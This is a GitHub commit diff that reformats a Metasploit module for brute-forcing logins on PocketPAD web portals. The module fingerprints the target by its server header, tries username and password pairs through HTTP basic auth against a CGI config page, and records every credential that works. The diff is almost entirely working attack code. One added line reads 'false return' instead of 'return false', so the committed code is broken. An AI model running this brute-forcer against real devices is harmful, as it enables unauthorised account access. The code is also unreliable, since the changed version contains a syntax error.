Skip to content

Commit 4c01420

Browse files
committed
msftidy done
1 parent 2c0ce2d commit 4c01420

File tree

1 file changed

+80
-83
lines changed

1 file changed

+80
-83
lines changed

modules/auxiliary/scanner/http/pocketpad_login.rb

Lines changed: 80 additions & 83 deletions
Original file line numberDiff line numberDiff line change
@@ -7,101 +7,98 @@
77

88
class Metasploit3 < Msf::Auxiliary
99

10-
include Msf::Exploit::Remote::HttpClient
11-
include Msf::Auxiliary::Report
12-
include Msf::Auxiliary::AuthBrute
13-
include Msf::Auxiliary::Scanner
14-
15-
def initialize(info={})
16-
super(update_info(info,
17-
'Name' => 'PocketPAD Login Brute Force Utility',
18-
'Description' => %{
19-
This module scans for PocketPAD login portal, and
20-
performs a login brute force attack to identify valid credentials.
21-
},
22-
'Author' =>
23-
[
24-
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
25-
],
26-
'License' => MSF_LICENSE
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::AuthBrute
13+
include Msf::Auxiliary::Scanner
2714

15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => 'PocketPAD Login Brute Force Utility',
18+
'Description' => %{
19+
This module scans for PocketPAD login portal, and
20+
performs a login brute force attack to identify valid credentials.
21+
},
22+
'Author' =>
23+
[
24+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
25+
],
26+
'License' => MSF_LICENSE
2827
))
28+
end
2929

30+
def run_host(ip)
31+
unless is_app_popad?
32+
return
3033
end
3134

32-
def run_host(ip)
33-
unless is_app_popaduo?
34-
return
35-
end
36-
37-
print_status("#{peer} - Starting login brute force...")
38-
each_user_pass do |user, pass|
39-
do_login(user, pass)
40-
end
35+
print_status("#{peer} - Starting login brute force...")
36+
each_user_pass do |user, pass|
37+
do_login(user, pass)
4138
end
39+
end
4240

43-
#
44-
# What's the point of running this module if the target actually isn't PocketPAD
45-
#
46-
47-
def is_app_popaduo?
48-
begin
49-
res = send_request_cgi(
50-
{
51-
'uri' => '/',
52-
'method' => 'GET'
53-
})
54-
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
55-
vprint_error("#{peer} - HTTP Connection Failed...")
56-
return false
57-
end
41+
#
42+
# What's the point of running this module if the target actually isn't PocketPAD
43+
#
5844

59-
if (res and res.code == 200 and res.headers['Server'].include?("Smeagol") and res.body.include?("PocketPAD"))
60-
vprint_good("#{peer} - Running PocketPAD application ...")
61-
return true
62-
else
63-
vprint_error("#{peer} - Application is not PocketPAD. Module will not continue.")
64-
return false
65-
end
45+
def is_app_popad?
46+
begin
47+
res = send_request_cgi(
48+
{
49+
'uri' => '/',
50+
'method' => 'GET'
51+
})
52+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
53+
vprint_error("#{peer} - HTTP Connection Failed...")
54+
false return
6655
end
6756

68-
#
69-
# Brute-force the login page
70-
#
57+
if (res and res.code == 200 and res.headers['Server'].include?("Smeagol") and res.body.include?("PocketPAD"))
58+
vprint_good("#{peer} - Running PocketPAD application ...")
59+
return true
60+
else
61+
vprint_error("#{peer} - Application is not PocketPAD. Module will not continue.")
62+
return false
63+
end
64+
end
7165

72-
def do_login(user, pass)
73-
vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")
74-
begin
75-
res = send_request_cgi(
76-
{
77-
'uri' => '/cgi-bin/config.cgi',
78-
'method' => 'POST',
79-
'authorization' => basic_auth(user,pass),
80-
'vars_post' => {
81-
'file' => "configindex.html"
82-
}
83-
})
84-
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
85-
vprint_error("#{peer} - HTTP Connection Failed...")
86-
return :abort
87-
end
66+
#
67+
# Brute-force the login page
68+
#
8869

89-
if (res and res.code == 200 and res.body.include?("Home Page") and res.headers['Server'].include?("Smeagol"))
90-
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
91-
report_hash = {
92-
:host => rhost,
93-
:port => rport,
94-
:sname => 'PocketPAD Portal',
95-
:user => user,
96-
:pass => pass,
97-
:active => true,
98-
:type => 'password'
99-
}
100-
report_auth_info(report_hash)
101-
return :next_user
102-
else
103-
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
104-
end
70+
def do_login(user, pass)
71+
vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")
72+
begin
73+
res = send_request_cgi(
74+
{
75+
'uri' => '/cgi-bin/config.cgi',
76+
'method' => 'POST',
77+
'authorization' => basic_auth(user,pass),
78+
'vars_post' => {
79+
'file' => "configindex.html"
80+
}
81+
})
82+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
83+
vprint_error("#{peer} - HTTP Connection Failed...")
84+
return :abort
85+
end
10586

87+
if (res and res.code == 200 and res.body.include?("Home Page") and res.headers['Server'].include?("Smeagol"))
88+
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
89+
report_hash = {
90+
:host => rhost,
91+
:port => rport,
92+
:sname => 'PocketPAD Portal',
93+
:user => user,
94+
:pass => pass,
95+
:active => true,
96+
:type => 'password'
97+
}
98+
report_auth_info(report_hash)
99+
return :next_user
100+
else
101+
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
106102
end
107103
end
104+
end

0 commit comments

Comments
 (0)